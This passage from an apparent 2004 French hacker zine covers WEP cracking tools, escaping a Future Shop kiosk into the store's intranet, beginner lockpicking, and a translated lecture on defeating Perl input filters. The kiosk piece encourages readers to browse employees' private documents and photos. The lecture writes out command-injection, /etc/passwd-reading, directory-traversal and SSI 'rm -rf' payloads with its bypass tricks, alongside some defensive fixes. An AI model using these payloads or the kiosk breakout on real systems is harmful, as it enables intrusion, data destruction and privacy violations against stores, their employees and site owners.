wireless avec  WEP, de  d'assayer de  vous cracker  vous même.  Comme ça  vous
pourrez régler les tools pour que ça fonctionne. dwepcrack a d'lair être  plus
mature comparer a weplab. Par exemple weplab demande des settings spéciaux  en
fonction de votre marque de carte wireless, et d'autres gossage du genre  pour
utiliser l'heuristique spécial (qui semble puissant, mais est encore  alpha!).
dwepcrack se compile malheureusement seulement sous BSD...

  
Ce qu'on a oublier
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Même si l'article est pesant, ya des choses qu'on a oubliés.
- GPS : c'est tjrs le fun d'avoir un GPS pour garder une trace de où vous avez
  trouver  l'access point.  Ya plein  de  tools  et bidules  pour le  GPS,  et
  la  pluspart   des   progs   du   style   de    kismet/dstumbler/netstumbler
  propose une interface pour le GPS. 
- Camouflage  : Vous  avez une  12dbi omni  et vous  voulez la  camoufler pour
  dehors? Transformer la magiquement en morpe!
  http://www.mindkind.org/morpe.jpg ou mkd-morpe.jpg dans mindkind101-full.zip


Links pour les vendredis soir pluvieux
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
http://www.wardriving.com
http://www.wi-foo.com/index-3.html (bonne liste de tools)
http://www.stumbler.net/
http://www.kismetwireless.net/
http://www.dachb0den.com/projects/bsd-airtools.html
http://www.goonda.org/wireless/prism2/
http://www.seattlewireless.net/
http://hostap.epitest.fi/
http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/
http://www.google.ca/search?q=wifi ;-)


This article was sponsored by:
- Mr_Peuch
- Mr_Spark
- LastCall_
- Steeve Oksala <-- lui i pwn :D


.----------------------------------------------- - - --- - ---
| LastCall_ & Mr_Peuch               www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -



/************************
 * Future shop en show
 * Entre-Article 
 * init_null 2004
 *************************/

Pour tout ceux et, dans une autre dimension, celles, qui n'ont rien de mieux  à 
faire que de  fouiller  des  documents  privés  en  public,  voici  une  petite 
découverte qui peut s'avérrer interessante si  vous  êtes  désespérément   à la 
recherche d'une activitée pour perdre votre temps inintélligeament.

Perdant mon temps dans un futureshop pendant qu'un ami magasinais un écran pour 
écouter des films en conduisant (!?)  mon  attention  s'est  tournée  vers  les 
terminaux que le magasin met a disposion  pour les clients de façon à ce qu'ils 
commandent eux-mêmes.

Ce sont des Pc tournant sous windows XP avec un  browser  special  (probalement 
fait en c#) basé sur le  core  de  IE  qui  n'implémente que quelques fonctions 
comme la barre de bouton  principale,  pas  de  menubar  ni de barre d'adresse. 
Notez qu'il se  relance dès qu'on le ferme avec une hotkey.

J'étais donc en train de chercher une façon d'accéder aux fichier du  terminaux 
quand je  me  suis  rendu  compte  que  la  page  d'acceuil  tournais  avec une 
protection ssl (le merveilleux cadenas), j'ai donc fait consulté les propriétés 
de la page en utilisant le deuxieme  bouton  gracieusement  non désactivé de la 
sourie sur la page web et  clické  sur  le  petit  bouton "Certificats" dans la 
fenêtre qui venait  d'apparaitre  ce  qui  a  du c oup ouvert la petite fenêtre 
d'information  du  certificat.  Sous  l'onglet  "détails"  j'ai  été surpris de 
retrouver  le  bouton  "Copier  dans  un  fichier" Activé. Cette option sert en 
général à exporter les informations pour une consultation ultérieure.

Clickant sur le bouton "suivant", l'assistant d'exportation est  apparu  et  ma 
aidé à choisir un format d'exportation, j'ai donc choisi le format binaire codé 
(celui par défaut) et j'ai  appuyé  sur  "next".  C'est alors que le système ma 
stupéfait, en laissant à  ma disposition un bouton "parcourir". Je me suis donc 
empressé de clicker dessu pour enfin recevoir un common dialog me permettant de 
naviguer dans l'ordinateur. j'ai donc  inscrit  "*.*"  dans  la  case  "nom  du 
fichier" et j'ai appuyer sur "enter" ce qui me donna une  vision  sur  tout les 
fichiers disponibles.

Malheureusement le pc lui-même ne me laissait  pas  beaucoup  d'access sur  les 
fichiers mais j'ai tout de même décidé d'aller vérifier si il  y avait quelques 
machines dans les favoris locaux (Accèss qu'on aurait d'ailleur du désactiver à 
l'utlisateur). J'ai été agréablement surpris  de retrouver plus d'une centaines 
de groupe de travail qui  eux  contiennent plusieurs machines dont le site web, 
les machines  de  comptabilité,  ceux  des  techniciens,  etc... Bienvenue dans
l'intranet de futureshop.

Biensur vous n'avez pas write access mais c'est tout de même  très  interessant 
de visioner les documents et leur contenu surtout quand  il  s'agit  de grosses 
demandes de soumission ou encore de photos  privés  d'un  des  employé  qui  se 
laisse trainer.

Amusez-vous bien et rapellez vous que vous êtes dans un future shop  donc soyez 
discrets. Si vous trouvez des  informations  interessantes  et  que  vous  etes 
willing à faire une suite à cet article, il y aura  surment de la place dans le 
prochaine zine (heheh).

					init_null.



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.03  Lockpicking : Beginner Handbook
:                              aka 'clef pas clef j'y vais'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |

Ce  petit documentaire sur papier virtuel ne constitue pas un howto mais plutot 
un  guide  ultime   pour   le  débutant  turbo  qui  vient  d'entendre  le  mot 
"lockpicking" pour la première fois et qui se  voit  déja en train de dévaliser 
une banque avec un costume de spider-man, soyez-en averti.

Premièrement en tant que débutant, il faut se procurer un kit  de lockpicks, et 
plusieurs options s'offrent à nous. 

Si  vous  êtes  du  genre  faible  budget je vous invites à vous rendre sur les 
forums de lockpicking 101 (www.lockpicking101.com) et à  demander  un lien pour 
le video "making_picks_1.wmv". Ce que vous  devez  savoir  des  picks fait à la 
mains c'est qu'il sont en tout points indentiques à ceux commerciaux quand vous 
les réeusisez bien et qu'ils peuvent même s'avérer meilleurs dans bien des cas. 
Je ne discuterai pas plus sur le sujet car le vidéo est très complet.

Si vous êtes un peu plus fortuné vous pouvez acheter votre kit  sur  internet à 
l'adresse suivante : www.lockpicks.com, ils sont  fiables  et  j'ai a plusieurs 
reprises fait affaires avec eux.  Si  vous  êtes un débutant je vous conseilles 
FORTEMENT de vous rendre dans la section "build hand pick set" et  Achetez  les 
items suivants (avec les bonnes quantitées) dans leur sections  respectives :

- init_null ultimate lockpicking begginer kit -

	Section "Stainless steel picks WITHOUT reinforced handles"  :
	- 1 double ball pick (1.50$) 
		- Utilisé pour les wafer lock (indispensable)
	- 1 Long hook pick (1.50$) 
		- Assez utile dans les plus gros cadenas comme les viro 50mm
	- 3 short hook pick (1.50$) 
		- LE pick pour picker des tumbler. Certaines personnes vont
		  suggérer un diamond mais par expérience je certifie que
		  l'on pick tout avec un hook. L'idée d'en acheter 3 c'est
		  que vous allez probablement en casser un ou deux au début.
	- 1 Double-Ended Snake-Hook Pick (1.50$) 
		- Ca c'est pour faire du "Raking" un technique qui brise
		  les serrures et qui est très peu précise mais souvent
		  très utile sur les cadenas cheap que vous voulez pas
		  forcément passer 10 ans dessu. C'est aussi la seule
		  technique qui peux théoriquement ouvrir une serrure
		  Medeco

	Section "Spring steel tension wrenches" :
	- 1 THIN tension wrench  (1.75$) 
		- Barre de tension très mince mais utile dans les petites
		  serrures
	- 3 Thick tension wrench (1.75$) 
		- Le modèle universel de barre de tension

	Section "Pick Handle Grip Sleeves" :
	- 7 Plastic Sleeves for Pick Handles (2.95$) 
		- C'est 2.95$ pour les 7. Un peu optionel mais je
		  trouve que les poignées donnent vraiment un bon
		  contrôle et vont vous éviter d'avoir les mains en 
		  sang apres 10 heures de pratique. Notez que le modele
		  en caoutchouc n'est pas pour les picks que nous avons
		  choisi.

	Section "Pick set cases" : (*OPTIONEL*)
	- 1 Small Snap-Over Case (8.95$)
		- Très utile pour ne pas percer vos poches lorse que
		  vous déplacez vos outils.


Grand total : 15.45$ USD (Sans case), 24.40$ USD (Avec case)

Pendant les deux a trois semaines que vont prendre la livraison de vos  outils, 
vous allez devoir apprendre la théorie reliée au  lockpicking.  Pour  cela   je 
conseille 3 sites majeurs :
	- http://www.lysator.liu.se/mit-guide/mit-guide.html
		- Ce site explique le fonctionement élémentaire des
		  serrures dites "pin tumbler" avec un modèle simple
		  à comprendre
	- http://www.crypto.com/papers/notes/picking/index.html
		- Ce site donne de très bonnes informations et montre lui
		  aussi une bonne dose de théorie avec des photos réeles.
		  je vous conseille de vous référer à la fois à ce site
		  ainsi qu'à celui ci-dessu.
	- http://www.lockpicking101.com/
		- Le forum sur le lockpicking le plus actif du net
		  les administrateurs sont des serruriers professionels
		  et il y a une très grande population d'amateurs
		  expérimentés.
	
Dès que  vous  recevez vos outils il va faloir commencer à pratiquer solidement 
si vous voulez finir par ouvrir beaucoup de  serrures  différentes  en  peu  de 
temps. Ce que je vous conseille c'est de  vous  trouver un cadenas Master, ceux 
avec l'anneau bleu dans le  bas  et de commencer à jouer dedans. Peu importe si 
vous l'ouvrez en 15 segondes, cela ne veux pas dire que vous êtes ninja-né mais
seulement que vous êtes très chanceux. Lorse  que  vous  pourrez hors  de  tout 
doutes ouvrir votre master en moin de 5 segondes plus de 40 fois en ligne, vous 
saurez que vous en avez terminé avec ce cadenas.

L'idée c'est en gros de toujour maitriser une serrure avant  de changer. Évitez 
par contre les cadenas suivants :
	- Master pro séries
			- Ces cadenas contiennent des pins de sécurité
			  vous serez capable de les ouvrir avec le temps
			  mais ce n'est pas dutout une bonne idée pour
			  un débutant
	- Medeco
		- Même les grands experts ne peuvent ouvrir ce
		  genre de serrure de facon constante
	- American padlock
		- Same
	- Abus
		- Ces cadenas contiennent des pins de sécurité
	- Viro
		- Ces cadenas contiennent des pins de sécurité

Pour ceux avec des pins de sécurité, Il va vous faloir a peu pres 450 heures de 
pratique  avant  de  pouvoir  les ouvrir de facon régulière. Choisisez aussi de 
préférence des cadenas neufs car  la  rouille  peux  augmenter  le  niveau   de 
dificulté d'une serrure par un facteur de 10.

Comme  j'ai  dit  plus  haut, c'est une question de pratique  il  faut  toujour 
pratiquer constament a raison d'au moin  2  heures  par  jour. Quand vous aurez 
fait 1 ou 2 mois sans  vous  décourager (ce qui métonerais pour 95% de ceux qui
lisent cet article) il sera interessant d'aller à l'extérieur pour  commencer a 
ouvrir des serrures aléatoires et détériorés par la nature. Certaines personnes 
volent les cadenas qu'ils  ouvrent par chance pour se pratiquer dans le confort 
de leur maisons. Je ne peut pas vous inciter à le faire...

Je croit que vous avez tout ce dont vous  avez  besoin  et  je  vous  encourage 
grandement à tenir le coup durant les  long  mois de pratiques qui vont suivre, 
rappelez vous que  les  techniques  comme  le  raking  ne sont pas une solution 
efficace et que cela endomage les serrures (donc ne rakez pas  votre  porte  de 
maison vos clefs ne fonctioneront plus dedans).

Si vous envisagez le lockpicking pour  cambrioler  je  vous  suggère  fortement 
d'oublier ca et de vous acheter un pick  gun,  c'est beaucoup plus efficace que 
des lockpicks et  ca  prend à peu pres 13 de QI pour l'utiliser. Le lockpicking
est agréable à apprendre parce qu'il necéssite  beaucoup  de  technique  et  de
maitrise  de soi-meme, c'est un peu  comme  un  art  martial  qui vous aportera 
beaucoup  de  liberté  de  mouvement  dans  des  environements cloturés et vous 
sortira d'embaras partout où vous oublirez vos clefs.

Pour ceux qui dans plusieurs mois auront persévérés et  qui  se  chercheront un 
kit de lockpicks plus précis et plus  fragile (surtout),  j'ai  réceament  fait 
l'aquisition du kit  17  piece  LAB  en vente sur lockpicks.com et je suis très
satisfait  du  produit.  Notez  que  j'utilise  encore  des  picks  home made à 
l'ocasion car ils vont très bien et au prix qu'ils coutent c'est pas trop grave 
quand tu en casses un.

Soyez responsable. happy lockpicking.

.----------------------------------------------- - - --- - ---
| init_null   [init_null at mindkind dot org] www.mindkind.org
'------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - -
    


  < Mindkind tales from IRC >
  
  [15:18] <HolyGod> genre la mere a melissa qui call la police parce qu'a voit
                    mon nick ds sons status suite a un kick
  [15:18] <HolyGod> et la a dis que je suis ds son ordinateur en train de
                    la hacker
  [15:18] <LastAWAY_> HolyGod no jokes?
  [15:18] <HolyGod> lol
  [15:18] <HolyGod> LastAWAY_, no jokes.
  [15:18] <LastAWAY_> HAHAHA
  [15:18] <LastAWAY_> esti.
  [15:18] <HolyGod> tu connais pas les folles de valley :P
  15:19] <LastAWAY_> ca mérite que je quote ça
  [15:19] <LastAWAY_> hahaha
  [15:20] <HolyGod> si a voix sa a va t'envoyer une mise a en demeure
  [15:20] <HolyGod> so change les nom pour du fictif genre "PasMélissa Leroux"
  [15:20] <TheCopsss> hahahaha
  [15:21] <TheCopsss> Stune folle elle
  [15:21] <HolyGod> folle raide
  [15:21] <LastAWAY_> hahah
  
  < ----------------------- >



    ___ ___ ____ ___ __ _______ __ __ ______
   |            |              |            |
   |       ;    |              |            |
   |___         |              |___         |
       |        |     .------.     |        |
.- ---' ,      '-----'------'-----'--- ----'------- - -- - - -  -
'    _|________|__
¦
|           mkd.04  Les problèmes dans les filtres Perl
:                              aka 'Comment SeriousMan a réussi à 
                                    traduire un texte d'une langue 
                                    qu'il ne la parle pas'
'                               _ ___ __ ____
:                                 |        |
'-----.------- .-----.------.-----|        |----- - ------- - - - ---- - - -
   ____|        |____ |______| ____|        |____
  |                  |        |                  |
  |___ _ ________ ___|___ ____|_________ _______ |



I-intro:
Salut tt le monde ,j'en ai pas envie d'ecrie une intro alors bye .
(ptet que j'aurai envie d'ecrire une outro)


II-La traduction:

                 par b0iler : 
                        b0iler@hotmail.com : une conference  donnée  le  17  en
                        irc.unixhideout.con #bsrf
                  Ecrit pour :
                        http://b0iler.eyeonsecurity.net/ -  mon  site   remplis 
                        d'autres tutorials cool
                        http://blacksun.box.sk/ - un  site  legendaire  remplis 
                        de tutorial original



--- b0iler has changed the topic to: Blacksun Research Facility - 
http://blacksun.box.sk - lecture in progress: "Problems in Perl Filters" 
- msg questions during lecture to b0iler. 
--- b0iler sets modes [#bsrf +m]


<b0iler> Les problemes communs de filtrage en Perl
<b0iler> --intro
<b0iler> Cette conference peut etre utile aussi pour les autres languages, 
mais les syntax et les idees exact sont pour Perl
<b0iler> Cette conference sera en mode +m et toutes les questions seront 
pose en me /msg'an, messagez moi vos questions quand vous voulez , et je 
repondrez au même instant , ou je les garderai pour la fin.
<b0iler> --
<b0iler> Les principales problemes de filtrage en Perl sont:
<b0iler> Le manques complet de filtres
<b0iler> Les filtres qui oublient des caracteres
<b0iler> Les filtres avec des faux ordre
<b0iler> Les filtres qui filtre les précédant filtre (ou se filtre eux même!
j'expliquerai ça plus tard)
<b0iler> Et multiple variable d'entrée oublie dans les filtres
<b0iler> --
<b0iler> Le "qu'est ce que" et le "pourquoi" des filtres Perl:
<b0iler> Allons voir qu'est ce que sont les filtres Perl et pourquoi ils 
sont tellement important en termes de sécurité.  
<b0iler> Les filtres sont des façons pour Perl de arrêter les mauvaises 
choses de se passer.
<b0iler> Par exemple si vous faisiez ça :
<b0iler> $blah = `cat $ENV{'QUERY_STRING'}`;
<b0iler> alors l'attaquant peut facilement entrée; quelquchose de ce genre:
<b0iler> script.cgi?/etc/password  
<b0iler> Ce qui lira votre fichier de mot de passe, ou il pourra même être 
plus astucieux et fera quelque chose qui aura cet effet:
<b0iler> script.cgi?file.txt;rm -rf anything/
<b0iler> (vous aurez besoins de l'url pour encoder quelque caractère)
<b0iler> Tellement de programmeurs de Perl filtre les caractère qui font 
ces mauvaise choses.
<b0iler> Ceci est une bonne idée et il faudra presque à chaque script  
avoir un système de filtrage. Quoique même un defaut dans le système de 
filtrage pourra avoir comme effet beaucoup de problème de sécurité.
<b0iler> --
<b0iler> Types de filtrage:
<b0iler> Il y'a deux grand type de filtrage , ce sont:
<b0iler> Filtrage d'entrée
<b0iler> Filtrage de sortie
<b0iler> Le filtrage des entrée est le plus utilise, et generallement le 
plus sérieux pour la sécurité
<b0iler> Il vient avant qu'aucune action ne soit pris sur l'entrée de 
l'utilisateur. ce qui arrêtera tout les caractère suspect de faire des 
actions sur le script
<b0iler> Beaucoup de gens font l'erreur de ne filtrer que les entrée. 
quoique pas toujours nécessaire, le filtrage des sorties est très utile 
pour arrêter les File Reading Vulnerabilities, Cross Site Scriptting, et 
autres attaques
<b0iler> Les filtrage des sorties c'est de filtrée les choses avant quel 
soit envoyer vers le client, base de donne,fichier ou autres sorties
<b0iler> --
<b0iler> Les méthodes de filtrage:
<b0iler> Il y'a deux grandes façons de filtrer :
<b0iler> Filtrer les mauvaises entrées
<b0iler> Autoriser les bonnes entrée
<b0iler> Il y'a aussi beaucoup d'autre façons pour filtrer, comme la 
vérification de taille (ndt:length checking), le pattern checking (ndt:
pas de traduction a ma connaissance) , et quelque autres méthodes bizarres.
<b0iler> Le filtrage des mauvaises entrée est le plus utilise, et aussi 
celui ou les programmeurs commet le plus de fautes   
<b0iler> En filtrant les mauvaises entrée il est extrêmement facile 
d'oublier quelque chose ou ne pas connaître une caractéristique en Perl 
ou une caractéristique d'un programme externe que le script utilise.
<b0iler> Ces filtres oublié peuvent aboutir a des vulnérabilités très 
facilement. Elles ne feront que prendre quelque seconde de réflexion à 
l'attaqueur pour chercher des façons créatifs pour s'évader des filtre 
ou d'appliquer des vieilles méthodes en une autre façon - Si une méthode 
est filtré essayer de le faire dans une autre façons qui ne l'ai pas
<b0iler> Autoriser les bonnes entrée est la méthode préfère pour arrêter 
les mauvaise entrée de devenir un problème de sécurité
<b0iler> Ceci parce que vous ne permettez qu'au bons caractère d'entrer , 
et donc vous arrêtez toutes autres mauvaises combinaisons possible, qui 
seront dur a filtrer avec la méthode de filtrage des mauvaises entrée
<b0iler> Mais parfois permettre les entres est impossible si vous voulez 
de donner au usagers de la flexibilité. vous ne pourrez pas toujours les 
limiter à un ensemble de caractère, Vous serez obligé de faire une 
décision sur combien d'importance devra aller à la sécurité est combien à 
l'utilisabiliter
<b0iler> Ceci est un exemple de filtrage des mauvaises entrées :
<b0iler> $blah = $ENV{'QUERY_STRING'}; 
<b0iler> $blah =~ s/\;//;  
<b0iler> print `cat $blah`;  
<b0iler> Ceci arrêtera les gens de faire 'cat fichier.txt;touch fichier2.txt' 
(utilisant ; pour émettre une autre commande)
<b0iler> Mais si vous lisiez mon tutorial : "Hacking CGI - Security and Exploitation"  
( http://b0iler.eyeonsecurity.net/tutorials/hackingcgi.htm ) vous saurez 
le nombre de méthodes à utiliser des différentes méthodes pour faire des 
choses dans les commandes de système.
<b0iler> Il est extrêmement dur de arrêter tout les combinaison possible 
des mauvaises entrées individuellement. Donc allons faire un coup d'oeuil 
sur comment juste autorisé les bonnes entrées:
<b0iler> $blah = $ENV{'QUERY_STRING'};  
<b0iler> $blah =~ s/[^a-zA-Z0-9\.\-_]//g;  
<b0iler> print `cat $blah`;  
<b0iler> print `cat $blah`; #*  
<b0iler> Ceci arrêtera tout ce qui pourra ne pas être bon dans le 
'Filename' d'être cat'é (ndt:originalement cat'd). Mais il y'a une autre 
méthode pour l(autorisation des bon entrées que je préfère:
<b0iler> Cette méthode consiste à denier l'accès à tout si l'utilisateur 
entre un caractère non permis: 
<b0iler> $blah = $ENV{'QUERY_STRING'};  
<b0iler> if($blah =~ m/[^a-zA-Z0-9\.\-_]/){ die "mauvais caractères, il n'est 
permis que a-zA-Z0-9 . - et _\n"; }  
<b0iler> print `cat $blah`;  
<b0iler> Ok, assez pour les infos de contexte (ndt:background info). 
Allons apprendre comment pourra-t-on casser ces protection ?
<b0iler> --
<b0iler> Mon procèdes d'exploit de filtre:
<b0iler> La méthode que j'utilise est de chercher en premier les fautes 
communes dans les filtres. Je ne pense pas réellement sur ce qu'il faut 
être permis ou pas.
<b0iler> Je vois premièrement si c'est un filtrage de mauvaise entrées 
ou juste une permission des bonnes entrées.  si c'est qu'une autorisation 
des bonnes entrées alors mon test sera normalement court.
<b0iler> Je verrai ce que je peut faire avec les caractères permis ,
(probablement pas grand chose). Puis je regarderai le reste du script 
pour voir si quelque chose de particulier peut servir avec les caractères 
autorise.
<b0iler> Mais si ils filtrent les mauvaises entrées, les choses seront un 
peu plus de fun =)
<b0iler> Avant même de voir ce que fait le script je chercherai si ils ont 
oublie un des basiques :
<b0iler> Ont-ils oublie un mauvais caractère?
<b0iler> Pourra t'on s'évader du filtre par l'insertion de caractère?
<b0iler> Est ce qu'ils filtrent avec le bon ordre?
<b0iler> Ont-t-ils oublie de filtrer une entrée d'utilisateur?
<b0iler> Je note tout problèmes possible puis je vais voir ce que le script 
fait en détail. Apres je vais voir la structure du script ,je cherche des 
calls spécifique qui pourront être abuse.
<b0iler> Puis je revient aux filtres et je vois si aucun combo de caractère 
autorise pourra abuser ces call.
<b0iler> Si je ne trouve rien , j'irai m'asseoir et je penserai à une 
méthode pour s'évader du filtre. Parfois je fait beaucoup de test pour 
voir commement le filtre travail dans certaines situations et si rien ne 
peut s'y glisser dedans.
<b0iler> J'ai beaucoup appris en contrôlant des filtres à la recherche 
des failles quand j'était nouveau dans Le monde de Perl.
<b0iler> C'est une bonne idée de savoir beaucoup de choses sur les autres 
facteurs en jouant. Parfois vous pouvez trouvé une petite/inconnue 
caractéristique dans quelque chose que le script ne filtre pas. Si le 
programmeur ne connaît pas qu'un certain caractère peut faire quelque 
chose il y a beaucoup de chance qu'il ne le filtre pas.
<b0iler> --
<b0iler> L'exploitation des filtres en pratique:
<b0iler> Cette parti sera le noyau de la conférence (ndt: donc la plus 
importante), et ou vous apprenderez les plus importantes informations. 
ceci ne sera en aucun cas une liste complète ou quelque chose de ça, 
j'espère que vous trouverai des nouvelle méthode pour s'évader des filtres 
et que vous les partagé avec moi ( b0iler@hotmail.com ) (ndt: parlais le 
en anglais bien sûr).
<b0iler> Je ne voudrez pas 'd'alimenter' (ndt: On peu faire des blagues 
en traduisant, non? ;) les script kiddies ici, on les donnant les recettes 
exact pour exploiter les filtres, mais ça serai nécessairement méchant 
contre ceux qui veulent apprendre la sécurité.
<b0iler> Je commencerai par les filtres contre la "directory transversal" 
faille (ndt: pas de traduction a ma connaissance, mais mot par mot ça 
serai , faille de traversement de dossier), les basics sont:
<b0iler> $blah =~ s/\.\.//g;  
<b0iler> $blah =~ s/\.\.\///g;  
<b0iler> $blah =~ s/\.//;  
<b0iler> $blah =~ s/[^\w\._\-]//;  
<b0iler> il y a d'autre, mais ceux-ci sont quelque uns. Le premier est 
pour le caractère '..'donc pour s'évader de ceci vous pourrai faire 
quelque chose comme:
<b0iler> $blah = '.\./';  
<b0iler> Ce qui passera par le filtre et reviendra dans un dossier. Ce 
truc marche aussi pour le deuxieme, qui filtre les '../'
<b0iler> Mais ce dernier a un autre problème. Il sorte de toute les 
chaîne le caractère '../' dedans ce qui signifie que 'ab../cd' deviendra 
'abcd' et quelque chose comme:
<b0iler> $blah = '.../...//';  
<b0iler> Donc après que le filtre efface tout les '../' de $blah, il 
deviendra un '../' (ndt: abacadraba!!! magique non )donc pour réparer 
tout ceci nous aurons a ajouter une boucle dans le filtre, denier les 
entrées utilisateur, ou de ne pas remplacer les chaînes par rien.
<b0iler> Voici un exemple de boucle :
<b0iler> while($blah =~ /\.\.\//){ $blah =~ s/\.\.\///; }  
<b0iler> Un example de denie des entrées de l'utilisateur : 
<b0iler> if($blah =~ /\.\.\//){ die "Caractere interdit en entrées.\n"; }  
<b0iler> Et enfin un exemple pour replacer le caractère par quelque chose 
d'autre:
<b0iler> $blah =~ s/\.\.\//_/;  
<b0iler> Tout ceux la arrêteront les attaques du type '.../...//'. 
Le dernier retournera le '.../...//' en un '._._/'
<b0iler> Le 3eme travail bien pour se débarrasser une des reverse 
directory transversales ('../'), mais il ne pourra pas être utilise 
si on a besoin de '.' dans l'entrée. Il n'y a réellement aucun 
méthode contre cela à moins que vous spécifier le chemin complet 
commencent par la racine , par exemple '/etc/passwd' qui n'a pas 
de '.' dedans.
<b0iler> Le 4eme est le meilleur de ces filtres, il n'autorise que ce 
que nous savons bon. Pas de surprise que nous n'avons pas penser d'entrer 
la bas. Ca serait une bonne idée de filtrer les '..' avec celui ci ,juste 
au cas ou.
<b0iler> Maintenant changions de sujet et discutons des techniques 
principale utilise pour vaincre les filtres .
<b0iler> +Manque complet de filtres
<b0iler> Ceci est une bonne méthode évidente pour passer des les filtres ,
s'ils n'existe pas ils ne pourrons pas vous arrêter. ;)
<b0iler> Beaucoup de fois les programmeurs n'ont aucune connaissance en 
matière de sécurité et ne met aucun filtre ou il oublie un ou deux filtres 
requis.
<b0iler> Toujours prenez du temps à penser sur  tout ce que l'usager peu 
entrées et si il faut que vous le filtrez ou non. Quand vous doutez  je 
dirais qu'il soit mieux que vous le filtrer qu moins pour les caractère 
permis juste pour être safe.   
<b0iler> +Filtres qui oublient des caractères:
<b0iler> Ceci est un peu comme oublié tout le filtre, mais cette fois 
le programmeur à essayé d'être secure, mais a oublié un caractère/chaîne 
importante.
<b0iler> La plus pars du temps c'est parce que le programmeur ne connaît 
pas que la chaîne qu'il a oublie peut être utilise pour causer des dommages.                                       
<b0iler> Par exemple, une newbie de Linux peut ne pas savoir ce que && 
peut être utilisé pour émettre des commandes supplémentaires. Alors ils 
oublient ce filtre même quand ils filtrent pour les '|' et autre ';'
<b0iler> desolé, utilisateur de *nix.
<b0iler> print `cat /etc/passwd && less /etc/hosts`; #pour démontrer comment 
la multiplication des commandes peut être utilise avec '&&'.
<b0iler> Pour jouer avec un des types de Shell commandes, je suggeste 
que vous soyez un expert dans le Shell, apprendre beaucoup sur les 
différentes méthodes de Perl pour ouvrir un Shell, et de filtrer très 
bien (n'autorise que ce qui est bon).                         
<b0iler> Allez voir mon tutorial: 
http://b0iler.eyeonsecurity.net/tutorials/hackingcgi.htm 
pour plus d'exemples sur cet technique (ndt:en anglais bien sur).
<b0iler> +Les filtres qui sont dans un mauvais ordre:
<b0iler> C'est une bonne idée de prendre un peu du temps et de penser dans
quelle ordre faut-il que vos filtres viennent. Si vous filtrez quelque chose 
dans le mauvais ordre les problèmes pourront arrive.
<b0iler> The most widely avalible example of this would be something like:  
<b0iler> Le plus con des exemples qui soit valable sera quelque chose comme:
<b0iler> $blah =~ s/aa//g;  
<b0iler> $blah =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; 
#Convertie l'encodage de l'url en ascii
<b0iler> La méthode pour vaincre ce filtre de 'aa' sera  d'encoder votre 
'aa' dans l'url en '%61%61'. Le prochain problème de filtrage sera a peu 
près le même que celui ci.
<b0iler> +Les filtres qui filtrent précèdent filtres (ndt: !!!)     
<b0iler> This is a strange one I found pretty earily in my perl journey. 
This one is simular to the '.../...//' trick discribed eariler.  
<b0iler> Celle la est une bonne étrange que j'ai trouvé un peut tôt de mon 
voyage Perl. elle est similaire au truc de  '.../...//' qu'on l'a décrit 
précédemment.
<b0iler> Ce qui se passe c'est qu'un filtre cherche une chaîne, tant que 
l'autre change cette même chaîne un peu plus tard.
<b0iler> So an attacker can get a string to pass the first filter, and 
then have the next filter(s) change the string into a dangerous one.  
<b0iler> Donc un attaquant pourra prendre le caractère pour passer le 
premier filtre ,puis verra le second filtre le changeant en un caractère
 dangereux.
<b0iler> Un example sera plus facile a suivre:
<b0iler> $blah =~ s/<!--(.|\n)*-->//g;  
<b0iler> $blah =~ s/javascript//ig;  
<b0iler> Ci-dessus on a le filtre commun le plus utilisé pour se 
prévenir des ssi et pour filtrer les 'javascript'.
<b0iler> La methode de passer de ce filtre est d'utiliser le filtre de 
'javascript' en ordre pour changer le caractere en un ssi. donc si:
<b0iler> $blah = '<javascript!-- #exec cmd="rm -rf /home/you/www" -->';  
<b0iler> Alors $blah passera du premier filtre sans changer, puis 
tournera en '<!-- #exec cmd="rm -rf /home/you/www" -->' qui un mauvais 
caractère, qu'il est sensé être filtrer par le premier filtre.
<b0iler> Cette technique pourra aussi être utiliser avec juste un filtre.  
Vous l'avez déjà vu ceci avec l'exemple de '.../...//'.
<b0iler> +Multiples variables entrer oublié dans le filtres
<b0iler> Cette technique est plus utilisé dans les sorties (html, 
base de donnes, etc...), ou avec les chemain de fichier. Mais je l'ai 
deja vu marcher dans d'autres places, donc garder vos yeux ouvert pour 
elle.
<b0iler> Voila un exemple avec les chemin de fichier (ndt: filepath) 
(prétendez que tout les directory transversal sont impossible):
<b0iler> $blah =~ s/\.\./;  
<b0iler> oups
<b0iler> $blah =~ s/\.\.//;  
<b0iler> $file =~ s/\.\.//;                                                                                                                        
<b0iler> open(FILE "/home/user/${blah}$file");  
<b0iler> Si $blah = '.'; et $bleh = './unautreutilisateur/file'; 
le chemin complet du fichier sera alors : '/home/user/../unautreutilisateur/file' 
<b0iler> Ce problème est beaucoup vu quand les filtres essaye d'arrêter 
les ssi ou les cross site scriptting. Si deux variables sont afficher en 
html, alors il vous faudra d'être sûr qu'elles ne sont pas évades de vos 
filtres.
<b0iler> Effectivement, c'est un probléme difficile a reparer.  Peut 
etre que mettre tout les resultat dans une seul variable puis filtrer 
la sortie est la meilleur solution.
<b0iler> --  
<b0iler> C'est pas mal du tout pour cette conférence, je vais juste ajouter 
une autre technique d'évasion de ce pauvre filtre Perl qui est utilisé tout 
le temps .
<b0iler> $blah =~ s/<!--(.|\n)*-->//g;  
<b0iler> J'ai déjà dis que ce filtre est utilisé pour arrêter les ssi.  
Mais d'après mes essais il y a une méthode pour tourner autour ce filtre.  
qui est if:
<b0iler> $blah = '<!-- #exec cmd="rm -rf /home/you/www" - ->';  
<b0iler> Notez l'espace dans '- ->' à la fin.
<b0iler> Maintenant $blah passera le filtre et restera accepter par ssi. 
Au moins d'après mes test, si vous pouvez, merci d'essayer ceci chez vous 
et contactez moi si '- ->' marche .
<b0iler> Ces types d'attaque, où insérer des caractère peut être un grand 
